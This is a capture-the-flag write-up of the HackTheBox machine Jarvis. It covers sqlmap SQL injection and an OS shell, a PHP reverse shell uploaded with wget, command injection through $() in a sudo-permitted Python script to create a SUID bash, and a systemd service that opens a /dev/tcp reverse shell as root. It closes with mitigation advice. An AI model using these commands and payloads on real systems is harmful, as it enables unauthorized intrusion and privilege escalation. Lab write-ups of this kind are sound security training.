Post

HackTheBox - Jarvis


Description

Hello hackers, I hope you are doing well. We are doing Jarvis from HackTheBox.

Enumeration

nmap

We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Nmap scan report for 10.10.10.143
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03f34e22363e3b813079ed4967651667 (RSA)
|   256 25d808a84d6de8d2f8434a2c20c85af6 (ECDSA)
|_  256 77d4ae1fb0be151ff8cdc8153ac369e1 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Stark Hotel
|_http-server-header: Apache/2.4.25 (Debian)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We found two ports, 22 running OpenSSH and port 80 is an Apache web server. Both services are on a Debian machine.

Web

Let’s navigate to the website.

This is a hotel’s website, we discover the domain supersecurehotel.htb, let’s add it to /etc/hosts.

Going through the website pages we find a booking page that uses a parameter in the request http://supersecurehotel.htb/room.php?cod=6

SQLMap

Let’s give the url to sqlmap and see if the website is vulnerable to sql injection`.

1
sqlmap -u 'http://supersecurehotel.htb/room.php?cod=1' --batch

It’s vulnerable!

Foothold

I Dumped the database but there is nothing useful there.

Since the website uses php, let’s write a php web shell with the help of --os-shell option in sqlmap

1
sqlmap -u 'http://supersecurehotel.htb/room.php?cod=1' --batch --os-shell

Great! We got command execution, but the we don’t have a full shell yet. To do that we can upload a php reverse shell to the target.

First we setup an http server on our machine using python:

1
python3 -m http.server 80

Now We put a php reverse shell on the directory where we run the python server.

The php shell i used is Ivan’s php shell, you can find it here

On the target machine we run the command wget {AttackerIp}/shell.php, which uploads the shell to the /www/var/html directory which is the root directory for the target’s website.

Now we setup a listener and request the file on the browser or using curl curl http://supersecurehotel.htb/shell.php

Privilege Escalation

Running linpeas we find two interesting things.

First is that we can run a python script at user pepper.

1
2
3
4
5
Matching Defaults entries for www-data on jarvis:                                                                                                             
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin                                                    
                                                                                                                                                              
User www-data may run the following commands on jarvis:                                                                                                       
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py     

The second thing is that systemctl has the suid permission.

Unfortunately only user pepper has execute permissions.

www-data –> pepper

Let’s check what the script does.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3                                                                                                                                        
from datetime import datetime                                                                                                                                 
import sys                                                                                                                                                    
import os                                                                                                                                                     
from os import listdir                                                                                                                                        
import re                                                                                                                                                     
                                       
def show_help():                                                               
    message='''                                                                
********************************************************
* Simpler   -   A simple simplifier ;)                 *                       
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP 
    -p          : ping an attacker IP
    '''
    print(message)

def show_header():
    print('''***********************************************
     _                 _                        
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                 
***********************************************
[...] REDACTED
def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()

We see that script gives the ability to run ping scans with the option -p, the problem is that it uses a black list of bad characters for input validation and passes the user input directly to a system command.

This is clearly vulnerable to OS Command Injection.

The script block most of the characters that would allow us to inject a command but it forgot this one $().

Let’s use that to create a copy of bash with suid permissions.

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p            
***********************************************                                                                                                               
     _                 _                                                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _                                                                                                                
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                 
***********************************************

Enter an IP: $(cp /bin/bash /home/pepper/bash)

This copied bash to pepper’s home directory, now let’s give it suid permission.

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p            
***********************************************                                                                                                               
     _                 _                                                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _                                                                                                                
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                 
***********************************************

Enter an IP: $(chmod +s /home/pepper/bash)

Nice, now we run /home/pepper/bash -p to get a shell as pepper.

1
2
3
www-data@jarvis:/var/www/Admin-Utilities$ /home/pepper/bash -p                 
bash-4.4$ whoami                                                                                                                                              
pepper        

pepper –> root

We saw earlier that systemctl has suid permissions, let’s create a service that would send us a shell when it starts.

First we create a service file with the name root.service with the following content:

1
2
3
4
5
6
7
8
9
10
[Unit]
Description=hack

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/9002 0>&1'

[Install]
WantedBy=multi-user.target

Now we enable the service using the following command:

1
2
3
bash-4.4$ /bin/systemctl enable /home/pepper/root.service 
Created symlink /etc/systemd/system/multi-user.target.wants/root.service -> /home/pepper/root.service.
Created symlink /etc/systemd/system/root.service -> /home/pepper/root.service.

After setting up the listener, let’s start the service with the command:

1
/bin/systemctl start root

If we got to our listener, we find the root shell

1
2
3
4
5
6
7
8
$ nc -lvnp 9002                                                                                                                                    130 ⨯
listening on [any] 9002 ...
connect to [10.10.17.90] from (UNKNOWN) [10.10.10.143] 37242
bash: cannot set terminal process group (32856): Inappropriate ioctl for device
bash: no job control in this shell
root@jarvis:/# id
id
uid=0(root) gid=0(root) groups=0(root)  

Prevention and Mitigation

SQL injection

The website should use a solid input validation and parameterized queries to seperate user input from the query structure.

OS Command injection

The python script should use proper input validation, and it’s better to use libraries to carry out actions instead of calling OS commands directly

SUID

There are some linux commands that should not have the SUID because that leads to privileges escalation, systemctl is one of them, for a full list check GTFOBins


Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).

This post is licensed under CC BY 4.0 by the author.